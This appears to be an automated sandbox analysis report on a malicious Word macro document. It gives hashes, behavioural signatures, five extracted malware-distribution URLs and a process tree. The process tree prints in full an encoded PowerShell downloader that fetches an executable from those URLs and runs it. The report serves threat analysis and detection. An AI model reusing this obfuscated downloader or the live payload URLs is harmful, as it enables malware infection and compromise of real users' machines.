Analysis
-
max time kernel
125s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2024 23:32
Static task
static1
Behavioral task
behavioral1
Sample
a71e4a779943aaa028af9996b614d9d9_JaffaCakes118.doc
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
a71e4a779943aaa028af9996b614d9d9_JaffaCakes118.doc
Resource
win10v2004-20240611-en
General
-
Target
a71e4a779943aaa028af9996b614d9d9_JaffaCakes118.doc
-
Size
131KB
-
MD5
a71e4a779943aaa028af9996b614d9d9
-
SHA1
da8b16fa034801d3eb11fb92741cb3bdfa63b608
-
SHA256
4121261a90ceec70d342e21f322d96ec9ef7c64c06534c2dcc2f2ec69ed9bf8e
-
SHA512
17b3f638920ab70e825cdbfac8b4ea1d995ff6a741ddf69027df2e55e0e3a4b077760048f9aa89c7a108142a7a214725fe73f111ecb88eb84fd13321ebdd2775
-
SSDEEP
3072:H77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q7KO8owNx+EIyj:H77HUUUUUUUUUUUUUUUUUUUT52Vq8o4l
Malware Config
Extracted
http://en.efesusstone.com/wp-content/uploads/EMBVtaupO/
http://amazingtraps.com/wp-includes/KZYJuTjJp/
http://bramastudio.com/wp-includes/mvBAPWMFc/
http://revistadaybynight.com.br/sac/i2ofs9_mpi8a73dgz-4/
http://boss-mobile.co.uk/wp-content/u6cyu6_m3atjj2-51/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1788 3864 powershell.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 18 1788 powershell.exe 19 1788 powershell.exe 30 1788 powershell.exe 31 1788 powershell.exe 34 1788 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1968 WINWORD.EXE 1968 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1788 powershell.exe 1788 powershell.exe 1788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1788 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 1968 WINWORD.EXE 1968 WINWORD.EXE 1968 WINWORD.EXE 1968 WINWORD.EXE 1968 WINWORD.EXE 1968 WINWORD.EXE 1968 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 1968 wrote to memory of 3116 1968 WINWORD.EXE splwow64.exe PID 1968 wrote to memory of 3116 1968 WINWORD.EXE splwow64.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a71e4a779943aaa028af9996b614d9d9_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:3116
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -e JABiAEEAegBXADAAegA5AEIAPQAnAEIATAB3AEsAUABCAGsAaAAnADsAJAB3AE0AdgBHAEMAagAgAD0AIAAnADEANgAyACcAOwAkAEQAYQBxAGkAdAAyAGgAUgA9ACcAWQB1ADAAVgBHADgANgAnADsAJABPADcANgBCADYAbwBkAEEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHcATQB2AEcAQwBqACsAJwAuAGUAeABlACcAOwAkAEQANQBfAHEAOQBvAD0AJwB6AHQAaABmAFoAVwBHAGMAJwA7ACQASwBFAFQAagBCAFYAegAyAD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMATABgAEkARQBgAE4AdAA7ACQARABuAHMANABxAFQAPQAnAGgAdAB0AHAAOgAvAC8AZQBuAC4AZQBmAGUAcwB1AHMAcwB0AG8AbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEUATQBCAFYAdABhAHUAcABPAC8AQABoAHQAdABwADoALwAvAGEAbQBhAHoAaQBuAGcAdAByAGEAcABzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBLAFoAWQBKAHUAVABqAEoAcAAvAEAAaAB0AHQAcAA6AC8ALwBiAHIAYQBtAGEAcwB0AHUAZABpAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AdgBCAEEAUABXAE0ARgBjAC8AQABoAHQAdABwADoALwAvAHIAZQB2AGkAcwB0AGEAZABhAHkAYgB5AG4AaQBnAGgAdAAuAGMAbwBtAC4AYgByAC8AcwBhAGMALwBpADIAbwBmAHMAOQBfAG0AcABpADgAYQA3ADMAZABnAHoALQA0AC8AQABoAHQAdABwADoALwAvAGIAbwBzAHMALQBtAG8AYgBpAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1ADYAYwB5AHUANgBfAG0AMwBhAHQAagBqADIALQA1ADEALwAnAC4AcwBwAEwAaQB0ACgAJwBAACcAKQA7ACQAdABRADAAYQB1AGgAPQAnAFgAegB6AEoARQBxAGsAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAQgBQAFoAQgBJAHoAMwAgAGkAbgAgACQARABuAHMANABxAFQAKQB7AHQAcgB5AHsAJABLAEUAVABqAEIAVgB6ADIALgBEAE8AVwBuAGwATwBBAGQAZgBpAGwARQAoACQAbABCAFAAWgBCAEkAegAzACwAIAAkAE8ANwA2AEIANgBvAGQAQQApADsAJABxAEUAdQB0ADIASwBEAGsAPQAnAHMARABYADQANABmAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABPADcANgBCADYAbwBkAEEAKQAuAGwARQBuAEcAdABoACAALQBnAGUAIAAyADAANwAwADEAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AHMAVABBAFIAdAAoACQATwA3ADYAQgA2AG8AZABBACkAOwAkAGgASgBkAFAAWQBMAD0AJwBwAHAAMgA2AFYAWQBSAFgAJwA7AGIAcgBlAGEAawA7ACQAQgBHADcAMgBNADcAagA9ACcAdgA3AG8AUQBvADUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAaQBtAGYAVQBwAGEAPQAnAHUAdgA4AHMAMABtAGoAbwAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3960,i,8998666007764333392,14724298544432336038,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:81⤵PID:2768
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
700B
MD57b74b69488ab052b3689353bf1c7dd10
SHA1c37b909b9a1adddd704e6c3916aab8f3a69f9906
SHA256d43f0f56fcd335067356e00cf094b6052f68533733baaa62f275f4119e0a18bf
SHA512ca60a85369e7c2a1c1c9bad289be4e56bbda534d1f76dff34a52b2c11e489bd8b0533024e505fd9035740b63f9a44e4f5b95d3523f56e2b9e4b1a0635fa4ec33
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82